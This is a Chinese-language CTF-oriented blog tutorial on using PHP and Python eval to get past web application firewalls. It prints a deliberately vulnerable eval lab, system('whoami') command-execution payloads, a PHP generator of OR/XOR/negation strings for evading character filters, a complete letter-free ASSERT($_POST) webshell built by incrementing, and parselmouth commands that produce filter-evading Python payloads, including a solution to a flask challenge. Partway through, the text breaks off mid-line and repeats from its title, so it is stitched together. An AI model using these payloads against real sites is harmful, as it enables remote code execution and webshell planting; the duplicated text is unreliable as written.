绕过铁waf的好手--浅谈多语言eval执行
很多刚入门安全的萌新在了解异或取反自增这些无数字字母RCE手段后,很多就是直接运用,就CTF解题的角度来说确实够了,本文在此认知基础上继续深入。
本文用的环境,一个多语言在线编译器:https://lightly.teamcode.com/
什么是eval&system?
eval()
是一个语言结构,它可以执行字符串中的代码,并返回执行结果。
system()
,是一个函数,从RCE的角度,它是从语言代码执行(code)到系统命令执行(command)的桥梁
eval的使用(以php为例)
可以执行任意代码,就攻击的利用可以涉及变量覆盖和命令执行
lab代码
<?php
eval($_POST[1]);
1.正常执行代码
1=print "代码执行示例";
这个过程还可以实现变量声明,自然也就有了变量覆盖的空间
1=$flag=123;echo $flag;
2.执行系统命令
1=system("whoami");
甚至可以在系统命令里执行各种代码命令(以php为例)
1=system("php -r 'print 123;'");
3.执行异或,取反,自增等运算
异或运算 (^):
$code = 'echo 5 ^ 3;';
eval($code); // 输出 6
取反运算 (~):
$code = 'echo ~5;';
eval($code); // 输出 -6
自增运算 (++):
$code = '$x = 5; $x++; echo $x;';
eval($code); // 输出 6
举例
~%8F%97%8F%96%91%99%90是phpinfo的取反
当这样的输入时1=(~%8F%97%8F%96%91%99%90)();
eval就会将其运算为phpinfo(); 并当作代码执行后输出结果
php无字母数字RCE
P牛早在7年前就已经玩过了这个trick
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
而在ctf中也已经存在了非常成熟的用法
或&异或&取反通用脚本
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则
自增构造webshell
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E",此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T",此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])
python的eval?——灵活绕过指定waf
同样的道理,python的eval也可以通过一系列的运算执行恶意代码
利用这个开源项目,可以利用特殊字符集针对给定的waf进行绕过
https://github.com/Macr0phag3/parselmouth
示例:
生成无字母RCE的payload:
python parselmouth.py --payload "__import__('os').popen('whoami').read()" --rule "__" "." "'" '"' "\\" "/" "*" "$" "#" "@" "!" "+" "^" "A" "B" "C" "D" "E" "F" "G" "H" "I" "J" "K" "L" "M" "N" "O" "P" "Q" "R" "S" "T" "U" "V" "W" "X" "Y" "Z" "a" "b" "c" "d" "e" "f" "g" "h" "i" "j" "k" "l" "m" "n" "o" "p" "q" "r" "s" "t" "u" "v" "w" "x" "y" "z"
print(eval("
绕过铁waf的好手--浅谈多语言eval执行
很多刚入门安全的萌新在了解异或取反自增这些无数字字母RCE手段后,很多就是直接运用,就CTF解题的角度来说确实够了,本文在此认知基础上继续深入。
本文用的环境,一个多语言在线编译器:https://lightly.teamcode.com/
什么是eval&system?
eval()
是一个语言结构,它可以执行字符串中的代码,并返回执行结果。
system()
,是一个函数,从RCE的角度,它是从语言代码执行(code)到系统命令执行(command)的桥梁
eval的使用(以php为例)
可以执行任意代码,就攻击的利用可以涉及变量覆盖和命令执行
lab代码
<?php
eval($_POST[1]);
1.正常执行代码
1=print "代码执行示例";
这个过程还可以实现变量声明,自然也就有了变量覆盖的空间
1=$flag=123;echo $flag;
2.执行系统命令
1=system("whoami");
甚至可以在系统命令里执行各种代码命令(以php为例)
1=system("php -r 'print 123;'");
3.执行异或,取反,自增等运算
异或运算 (^):
$code = 'echo 5 ^ 3;';
eval($code); // 输出 6
取反运算 (~):
$code = 'echo ~5;';
eval($code); // 输出 -6
自增运算 (++):
$code = '$x = 5; $x++; echo $x;';
eval($code); // 输出 6
举例
~%8F%97%8F%96%91%99%90是phpinfo的取反
当这样的输入时1=(~%8F%97%8F%96%91%99%90)();
eval就会将其运算为phpinfo(); 并当作代码执行后输出结果
php无字母数字RCE
P牛早在7年前就已经玩过了这个trick
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
而在ctf中也已经存在了非常成熟的用法
或&异或&取反通用脚本
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则
自增构造webshell
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E",此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T",此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])
python的eval?——灵活绕过指定waf
同样的道理,python的eval也可以通过一系列的运算执行恶意代码
利用这个开源项目,可以利用特殊字符集针对给定的waf进行绕过
https://github.com/Macr0phag3/parselmouth
示例:
生成无字母RCE的payload:
python parselmouth.py --payload "__import__('os').popen('whoami').read()" --rule "__" "." "'" '"' "\\" "/" "*" "$" "#" "@" "!" "+" "^" "A" "B" "C" "D" "E" "F" "G" "H" "I" "J" "K" "L" "M" "N" "O" "P" "Q" "R" "S" "T" "U" "V" "W" "X" "Y" "Z" "a" "b" "c" "d" "e" "f" "g" "h" "i" "j" "k" "l" "m" "n" "o" "p" "q" "r" "s" "t" "u" "v" "w" "x" "y" "z"
用eval生成的payload,看到成功执行了命令
也可以通过eval返回任意字符串(注意要用单引号包裹)
python parselmouth.py --payload "'Z3r4y'" --rule "__" "." "'" '"' "\\" "/" "*" "$" "#" "@" "!" "+" "^" "A" "B" "C" "D" "E" "F" "G" "H" "I" "J" "K" "L" "M" "N" "O" "P" "Q" "R" "S" "T" "U" "V" "W" "X" "Y" "Z" "a" "b" "c" "d" "e" "f" "g" "h" "i" "j" "k" "l" "m" "n" "o" "p" "q" "r" "s" "t" "u" "v" "w" "x" "y" "z"
例题:御网杯2024 web-flask
题目源码:
from flask import Flask, request, Response
import random
import re
app = Flask(__name__)
@app.route('/')
def index():
evalme = request.args.get('evalme')
if ((not evalme) or re.search(r'[A-Zd-z\\. /*$#@!+^]', evalme)):
return 'hacker?'
with open(eval(evalme), 'rb') as f:
return Response(f.read())
if __name__ == '__main__':
app.run(port=8080)
with open(eval(evalme), 'rb') as f:这种形式显然是要打开一个文件,那么只要令eval(evalme)返回一个'/flag'字符串即可
payload:
python parselmouth.py --payload "'/flag'" --rule "__" "." "'" '"' "read" "chr" "\\" "/" "*" "$" "#" "@" "!" "+" "^" "A" "B" "C" "D" "E" "F" "G" "H" "I" "J" "K" "L" "M" "N" "O" "P" "Q" "R" "S" "T" "U" "V" "W" "X" "Y" "Z" "d" "e" "f" "g" "h" "i" "j" "k" "l" "m" "n" "o" "p" "q" "r" "s" "t" "u" "v" "w" "x" "y" "z"
-
-